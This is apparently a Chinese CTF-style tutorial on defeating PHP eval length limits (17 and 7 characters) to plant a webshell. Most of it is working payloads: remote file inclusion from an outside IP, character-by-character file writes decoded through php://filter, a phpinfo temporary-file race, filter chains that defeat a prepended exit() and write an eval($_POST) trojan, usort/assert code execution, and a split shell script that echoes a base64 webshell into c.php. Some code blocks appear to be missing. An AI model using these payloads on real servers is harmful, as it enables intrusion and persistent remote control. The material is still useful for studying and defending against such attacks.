目录
一、长度17的限制绕过
1、最简单的绕过
(一)绕过
(二)编写一句话木马
2、文件包含的利用
(一)远程文件包含的利用
(二)本地文件包含的利用
1、向服务器写入文件并包含
2、竞争性漏洞
3、文件包含执行一个图片码
3、死亡绕过
(一)什么是死亡绕过
(二)死亡绕过的解决方法
1、base64解码
编辑 2、xml标签
4、usort绕过
(一)绕过方法:
(二)过程解析
二、长度7的绕过
1、绕过方法:
code=echo `$_GET[1]`;&1=id
利用之前的命令执行语句创建一个新的php文件
code=echo%20`$_GET[1]`;&1=touch%20len1.php
然后在php文件中写入内容
echo ' len1.php
有的同学提到了远程文件,但正常文件包含
include $_GET[1];
,这个刚好17个字符,超了一位。不过,其实
include$_GET[1];
也是可以运行的,中间的空格可以不要。这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。
include包含的所有文件都以php格式运行。
code=include$_GET[1];&1=//192.168.xxx.xxx//get.php
那么,文件包含真的不行么?
有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
code=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了file_put_contents,error_log函数效果也类似。
但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如 code
=$_GET[a](N,<,8);&a=file_put_contents
。但如果要写webshell的话,“<”等符号又是必不可少的。于是微博上 @买贴膜的 想出一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。
将这些字符通过file_put_contents依次写入文件N中
他的参数有(file,content,type)。第一个是要上传的文件名,第二个是文件内容,第三个为8时就表示像文件追加内容,而不是覆盖
code=$_GET[0](N,P,8);&0=file_put_contents
这段代码的意思就是向文件N进行追加插入字符P;
通过相同的方式,将base64编码的数据全都传入文件;
将所有文件都传入N中时
文件内容写好后,使用文件包含,将文件
code=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
php://filter ----文件伪协议
read ----表示读取文件
convert.base64-decode -----表示将文件内容进行base64解码
resource ----表示读取的文件路径和文件名
因为我编码的内容为:
所以连接时用9来连接 。
思路大致为,向phpinfo()界面通过POST请求传入大量的垃圾信息,以及一个文件写入file_put_contents,写入的内容为 /var/www/html 下的一个一句话木马,生成一个临时文件。让php在处理垃圾信息的时候,同时新开一个进程来包含这个临时文件,以达到执行文件写入的操作。
向phpinfo()传入的代码:
file_put_contents(shell.php,'',8)
文件包含的代码:
include$_GET[1];&1=/tmp/phpXXXXXXXXX
//可以使用. file+glob通配符的方法直接执行这个文件
例如:
/tmp/php645ljI
. /???/????????[@-[] 达到即使没有权限也能执行这个文件的目的
利用include包含的所有文件都以php的方式执行这一特性。
上传一个图片马,然后把这个图片马包含
感兴趣的可以自行研究,本文暂不列出。
死亡绕过代码:
exit.php
';
$content.=$_POST['txt'];
file_put_contents($_POST['filename'],$content);
?>
查看后台,确实生成了文件,但是文件内容拼接在exit后面。程序遇见即结束。
将绕过这种限制的行为称为死亡绕过。
我们想要绕过就需要将给拿掉
首先使用php://filter/write=convert.base64-decode,将文件的内容先进行解码。
一个正常的base64_decode实际上可以理解为如下两个步骤:
所以第一步便将其中的< ? ; > 四个字符全匹配掉了。然后剩下phpexit 这7个字节。
base64解码是以4个字节为一组。
所以给文件补上一个字节,然后加入我们自己的base64编码后的代码。
txt=aPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;&filename=php://filter/write=convert.base64-decode/resource=k3k.php
这个标签实际上是什么?
实际上它是一个xml标签,既然是xml标签,就可以利用strip_tags函数去除他,刚好php的伪协议是支持这个方法的。
txt=;&filename=php://filter/write=string.strip_tags/resource=k3k.php
但是使用的时候发现我们传入的值也被过滤了。
幸运的是,php伪协议 允许使用多个过滤器
txt=?>PD9waHAgZXZhbCgkX1BPU1RbOV0pOw==;&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=k3k.php
我们传入base64编码的内容,这时候标签过滤就不会过滤我们写入的代码。然后过滤器过滤之后使用解码器将我们传入的内容解码。
注:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw 长度仅有30字节,无法满足base64编码为4的倍数的条件,加两个等号即可
用于绕过长度限制;
eval_length_17.php
通过GET传入两个数据,一个数组,和一个assert函数
通过POST处理传入的GET参数
详细过程如下:
usort函数:
code=usort(...$_GET)
usort(...$_GET) 表示接受所有传入的GET请求
['test','phpinfo()'] ,assert
相当于用assert取处理前面数组里面的每一个值
类似于:
usort(['test','phpinfo()'],'assert')
代码:
eval_length_7.php
`$_GET[1]` ----长度为10
文件确实写入了网站后台目录。
为了节省时间,我直接将结果写入了文件
ech\
o \
PD9\
waH\
AgZ\
XZh\
bCg\
kX0\
dFV\
Fsx\
XSk\
7|\
bas\
e64\
-\
d>\
c.p\
hp
执行这个文件,看看会不会创建新的php文件
成功的创建了一个一句话木马文件。
尝试连接试一试